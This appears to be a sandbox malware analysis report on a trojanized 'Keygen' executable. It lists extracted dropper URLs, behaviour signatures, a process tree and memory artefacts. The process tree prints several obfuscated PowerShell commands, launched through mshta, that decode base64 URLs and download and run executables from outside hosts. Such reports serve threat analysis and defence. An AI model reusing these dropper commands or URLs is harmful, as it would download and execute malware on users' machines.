Overview

overview

10

Static

static

201001-nyh...я.exe

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201001-nyh...я.exe

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201001-nyh...я.exe

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201001-nyh...en.exe

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201001-nyh...en.exe

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Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

201001-e45lwcxsnn 10

01-10-2020 20:51

201001-fhxddb9gwe 10

01-10-2020 20:51

201001-ts8hns28ea 10

01-10-2020 20:51

201001-v1kt3kgljx 10

01-10-2020 20:51

201001-d2fbtjzv4s 10

01-10-2020 20:51

201001-cgj9prs442 10

01-10-2020 20:49

201001-t1jnpvwcgx 10

Analysis

  • max time kernel
    16s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    01-10-2020 20:51

General

  • Target

    201001-nyhbt4p25j_pw_infected/Keygen — копия (112) — копия.exe

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (112) — копия.exe
    "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (112) — копия.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D75A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (112) — ?????.exe""
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\Keygen.exe
        Keygen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:3684
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D75A.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3916
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D75A.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3372
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2776
      • C:\Windows\SysWOW64\timeout.exe
        timeout 1
        3⤵
        • Delays execution with timeout.exe
        PID:3232
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D75A.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1252
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D75A.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3496
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3656
      • C:\Windows\SysWOW64\timeout.exe
        timeout 2
        3⤵
        • Delays execution with timeout.exe
        PID:2100
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D75A.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
            PID:4168
        • C:\Windows\SysWOW64\mshta.exe
          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D75A.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
          3⤵
            PID:4244

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\Keygen.exe
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\Keygen.exe
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\b.hta
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\b1.hta
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\ba.hta
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\ba1.hta
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\m.hta
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\m1.hta
      • C:\Users\Admin\AppData\Local\Temp\D75A.tmp\start.bat
      • memory/844-66-0x0000000000000000-mapping.dmp
      • memory/1252-33-0x0000000070270000-0x000000007095E000-memory.dmp
        Filesize

        6.9MB

      • memory/1252-28-0x0000000000000000-mapping.dmp
      • memory/1368-21-0x0000000000000000-mapping.dmp
      • memory/1792-7-0x0000000000000000-mapping.dmp
      • memory/2100-29-0x0000000000000000-mapping.dmp
      • memory/2696-0-0x0000000000000000-mapping.dmp
      • memory/2776-19-0x0000000070270000-0x000000007095E000-memory.dmp
        Filesize

        6.9MB

      • memory/2776-26-0x0000000007680000-0x0000000007681000-memory.dmp
        Filesize

        4KB

      • memory/2776-13-0x0000000000000000-mapping.dmp
      • memory/2776-75-0x0000000009480000-0x0000000009481000-memory.dmp
        Filesize

        4KB

      • memory/3232-11-0x0000000000000000-mapping.dmp
      • memory/3372-9-0x0000000000000000-mapping.dmp
      • memory/3496-25-0x0000000000000000-mapping.dmp
      • memory/3656-41-0x0000000070270000-0x000000007095E000-memory.dmp
        Filesize

        6.9MB

      • memory/3656-30-0x0000000000000000-mapping.dmp
      • memory/3684-2-0x0000000000000000-mapping.dmp
      • memory/3684-3-0x0000000000000000-mapping.dmp
      • memory/3916-34-0x0000000007210000-0x0000000007211000-memory.dmp
        Filesize

        4KB

      • memory/3916-18-0x0000000070270000-0x000000007095E000-memory.dmp
        Filesize

        6.9MB

      • memory/3916-35-0x00000000072F0000-0x00000000072F1000-memory.dmp
        Filesize

        4KB

      • memory/3916-52-0x0000000007390000-0x0000000007391000-memory.dmp
        Filesize

        4KB

      • memory/3916-54-0x0000000007CD0000-0x0000000007CD1000-memory.dmp
        Filesize

        4KB

      • memory/3916-57-0x0000000007D20000-0x0000000007D21000-memory.dmp
        Filesize

        4KB

      • memory/3916-12-0x0000000000000000-mapping.dmp
      • memory/3916-39-0x0000000007570000-0x0000000007571000-memory.dmp
        Filesize

        4KB

      • memory/3916-22-0x0000000006450000-0x0000000006451000-memory.dmp
        Filesize

        4KB

      • memory/3916-31-0x0000000007170000-0x0000000007171000-memory.dmp
        Filesize

        4KB

      • memory/3916-72-0x0000000009390000-0x0000000009391000-memory.dmp
        Filesize

        4KB

      • memory/4168-69-0x0000000070270000-0x000000007095E000-memory.dmp
        Filesize

        6.9MB

      • memory/4168-67-0x0000000000000000-mapping.dmp
      • memory/4244-70-0x0000000000000000-mapping.dmp